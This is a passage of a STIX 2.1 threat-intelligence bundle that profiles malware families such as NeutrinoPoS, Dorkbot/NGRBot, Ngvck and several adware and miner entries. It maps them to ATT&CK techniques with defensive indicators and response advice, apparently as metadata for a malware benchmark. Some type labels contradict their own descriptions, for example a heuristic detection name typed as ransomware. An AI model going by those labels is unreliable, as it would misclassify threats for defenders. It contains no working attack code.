      "spec_version": "2.1",
      "id": "relationship--8b7cf246-16d1-52a7-bbb8-073d386345dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d3c8194d-eeca-5ffb-bd12-337af389a6ca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neurevt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--737f05b6-2de6-549e-a75b-e7c544329c96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neutrinopos",
      "description": "NeutrinoPoS (also widely tracked in cyber threat intelligence as Kasidet, Trojan:Win32/Kasidet, and MWZLesson) is a notorious Point-of-Sale (PoS) malware family and modular botnet active since late 2013. Evolving from the Neutrino Bot commodity framework, NeutrinoPoS incorporates specialized RAM-scraping modules derived from earlier PoS strains like Dexter to harvest unencrypted payment card Track 1 and Track 2 magnetic stripe data directly from process memory in retail POS terminals. The malware features sophisticated sandbox and virtual machine detection to evade automated analysis, bypasses User Account Control (UAC), and communicates with C2 servers utilizing decentralized Namecoin .bit domains to resist takedowns. Attackers leverage NeutrinoPoS for large-scale credit card data theft, credential logging, and coordinated distributed denial-of-service (DDoS) attacks. (Observed samples in benchmark: 60)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/NeutrinoPoS",
        "Trojan:Win32/Kasidet",
        "Kasidet",
        "MWZLesson",
        "NeutrinoBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neutrinopos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neutrinopos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fde0beff-3f53-5d13-97d6-288942026071",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737f05b6-2de6-549e-a75b-e7c544329c96",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neutrinopos exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3d49e6a-2cc4-5180-a555-77f5e764d03e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737f05b6-2de6-549e-a75b-e7c544329c96",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neutrinopos exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13a5b0b0-84c3-569b-b950-fd4f79ef93a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737f05b6-2de6-549e-a75b-e7c544329c96",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neutrinopos exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5c0fe1b-dd96-5c93-ac66-25a60a9dce8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737f05b6-2de6-549e-a75b-e7c544329c96",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neutrinopos exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35b7953e-2127-54ed-b171-293aec9c7207",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--737f05b6-2de6-549e-a75b-e7c544329c96",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neutrinopos exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ce8e81c-8835-5cd8-8956-ef956862e46b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Newheur",
      "description": "<h3>Executive Summary</h3>\n\"NewHeur\" (often displayed as Generic.NewHeur or Trojan.NewHeur) is a broad, machine-generated heuristic detection signature utilized by advanced antivirus engines. It acts as a \"catch-all\" classification indicating that a file or process exhibits highly suspicious behavioral characteristics or code structures that strongly correlate with newly discovered, unidentified malware that lacks a static signature.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nA NewHeur alert typically fires when an unknown file triggers a combination of behavioral rules during dynamic analysis (sandboxing) or heuristic static scanning. Common triggers include:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed, encrypted, or obfuscated, indicating an attempt to hide its true payload from static analysis tools.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files from untrusted IPs.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed by security researchers.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile a generic detection lacks the precise context of a known family, a NewHeur alert is a severe security event. It definitively indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper that the antivirus engine has flagged purely based on malicious intent.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads (like ransomware).</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated, advanced malware sandbox (e.g., Cuckoo, Any.Run) to monitor its full execution lifecycle, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Take the full file hash associated with the alert and query it against threat intelligence platforms (like VirusTotal) to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.NewHeur",
        "Heur:Trojan.Win32.Generic",
        "Suspicious.NewHeur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Newheur",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/newheur"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2780c61-e5e4-5bee-a5be-3a57dd22e8a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ce8e81c-8835-5cd8-8956-ef956862e46b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Newheur exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--486a49f4-12d3-5b7e-bdf2-32046e8ec291",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ce8e81c-8835-5cd8-8956-ef956862e46b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Newheur exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2bb458c-7dc5-5b30-98ca-dfb1973c7ed0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ce8e81c-8835-5cd8-8956-ef956862e46b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Newheur exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ngrbot",
      "description": "NGRBot (extensively documented as Dorkbot, Worm:Win32/Dorkbot, Worm.Win32.Ngrbot, and W32.IRCBot.NG) is an infamous, multi-functional Windows botnet and self-propagating worm active since 2011. Operating at massive scale across more than 190 countries and infecting well over one million endpoints at its zenith, Dorkbot/NGRBot was the subject of official US-CERT/CISA Technical Alert TA15-337A and a coordinated international law enforcement takedown involving Microsoft, Interpol, and the FBI. Built around an IRC-based command-and-control core, NGRBot propagates rapidly via removable USB storage devices (using infected LNK shortcuts and autorun hooks), peer-to-peer messaging networks (Skype, Windows Live Messenger), and social media phishing links. Once active on a host, NGRBot performs API-hooking and browser form-grabbing to intercept login credentials, online banking sessions, and email passwords. It also includes denial-of-service (DDoS) flood modules and systematically disables antivirus updates and security software domains by altering the local DNS resolution and Windows HOSTS configuration. (Observed samples in benchmark: 110)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Dorkbot",
        "Worm.Win32.Ngrbot",
        "NGRBot",
        "Dorkbot",
        "W32.IRCBot.NG",
        "Win32/Dorkbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ngrbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ngrbot"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "TA15-337A"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8afebd66-95d0-5028-bef2-dbcf26e08d5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngrbot exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9159afab-c95b-5e79-997b-47c2f55a81a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngrbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--315fa04a-c2ba-5781-9b62-f726525a7c32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngrbot exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--318f98f4-a433-563b-8c7d-71f20bf0a3f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngrbot exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77640d10-c742-5c79-b642-f129ea776fcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngrbot exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09bd87ad-d1a6-56ec-890e-29dc2d46a013",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8e0cebc7-a01c-5870-855d-b602bec5a3be",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngrbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e486d88-593e-5dc1-977e-be78e4313aae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ngvck",
      "description": "Trojan:Win32/Ngvck is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ngvck</b><br>To an end-user, a Ngvck infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ngvck is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ngvck is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ngvck frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ngvck reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ngvck",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ngvck"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9552c07a-7b47-5987-b7b3-46779b69ad3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e486d88-593e-5dc1-977e-be78e4313aae",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngvck exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f20f88fd-91cf-5e83-8e46-cd23d2069274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e486d88-593e-5dc1-977e-be78e4313aae",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngvck exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95ba581a-f9ca-5362-b509-2a63fd2574d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e486d88-593e-5dc1-977e-be78e4313aae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngvck exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0bc0f562-36e7-5b87-8b03-5a1ccf89a061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e486d88-593e-5dc1-977e-be78e4313aae",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngvck exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0fa5e96-463d-5f75-854d-3479fc1883be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e486d88-593e-5dc1-977e-be78e4313aae",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ngvck exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d23ffedf-9002-520c-b09a-5d4619161df1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nhopro",
      "description": "<h3>Executive Summary</h3>\nNhopro is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate system utility, optimization tool, or browser enhancement. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNhopro relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Nhopro frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Nhopro is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Nhopro",
        "PUP.Nhopro",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nhopro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nhopro"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--016190f9-d5b2-54cd-8c5c-c1bd0170e4b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d23ffedf-9002-520c-b09a-5d4619161df1",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nhopro exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0560e7b5-1d71-591e-a498-66fa81e296ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d23ffedf-9002-520c-b09a-5d4619161df1",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nhopro exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32d11ac3-b086-5917-a30b-efbe9ea54ab8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d23ffedf-9002-520c-b09a-5d4619161df1",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nhopro exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d1b73f1-5552-5536-8bed-d67c1503125a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nicehashminer",
      "description": "PUA:Win32/Nicehashminer is a legitimate, widely used cryptocurrency mining application that allows users to rent out their computing power. However, it is heavily flagged as a Potentially Unwanted Application (PUA) or 'CoinMiner' by enterprise antivirus engines because threat actors frequently bundle it silently with malware or deploy it en masse across compromised corporate networks (Cryptojacking) to illegally hijack CPU/GPU resources (`T1496`).<br><br><b>Understanding Nicehashminer (Cryptojacking Vector)</b><br>To an end-user intentionally running it, it's a way to earn crypto. To a corporate IT department, its unauthorized presence represents a massive theft of electricity, severe degradation of workstation performance, and a clear indication that perimeter defenses or endpoint controls have failed, allowing an attacker to execute arbitrary binaries.<br><br><b>Execution and Resource Hijacking Mechanics</b><br>When deployed maliciously, attackers use droppers or exploit tools (like PsExec) to silently install the Nicehashminer client on victim machines. They configure the application (`.json` or `.ini` files) to mine cryptocurrency to the attacker's wallet address rather than the victim's. They often use scheduled tasks or registry run keys to ensure the miner starts automatically (`T1547.001`), and may use simple scripts to hide the mining window from the user's desktop.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is extreme resource exhaustion and increased operational costs. Host-based IoCs are highly visible: CPU or GPU utilization will pin at 90-100%, causing the system fans to run loudly and the machine to become sluggish. You will find the `nicehashminer.exe` process (or renamed variants) running, often from unusual directories like `%Temp%` or `C:\\Windows\\Temp`. Network IoCs include continuous outbound traffic over specific mining stratum protocols (e.g., port 3333, 4444) to known mining pools like `stratum.nicehash.com`. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nicehashminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nicehashminer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e47156ed-bc22-59f8-9d94-1a681b1ac9ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d1b73f1-5552-5536-8bed-d67c1503125a",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nicehashminer exhibits technique T1496 (Resource Hijacking (The core activity of utilizing CPU/GPU power for cryptomining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70fba03f-75b0-5a18-b6c3-e4ef715e8ee4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d1b73f1-5552-5536-8bed-d67c1503125a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nicehashminer exhibits technique T1204.002 (User Execution: Malicious File (Often bundled with 'free' software the user downloads))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0de63980-90cd-5f7b-b382-c88ca1fcbfc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d1b73f1-5552-5536-8bed-d67c1503125a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nicehashminer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the miner runs constantly))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--55735c35-8fe0-5fc2-8ff6-bbcb6876e711",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nieguide",
      "description": "Adware:Win32/Nieguide is an intrusive adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries through its own affiliated engines, injects unwanted advertisements, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Nieguide</b><br>To an end-user, Nieguide manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars at the top of the browser window. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising.<br><br><b>Execution and Hijacking Mechanics</b><br>Nieguide is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search 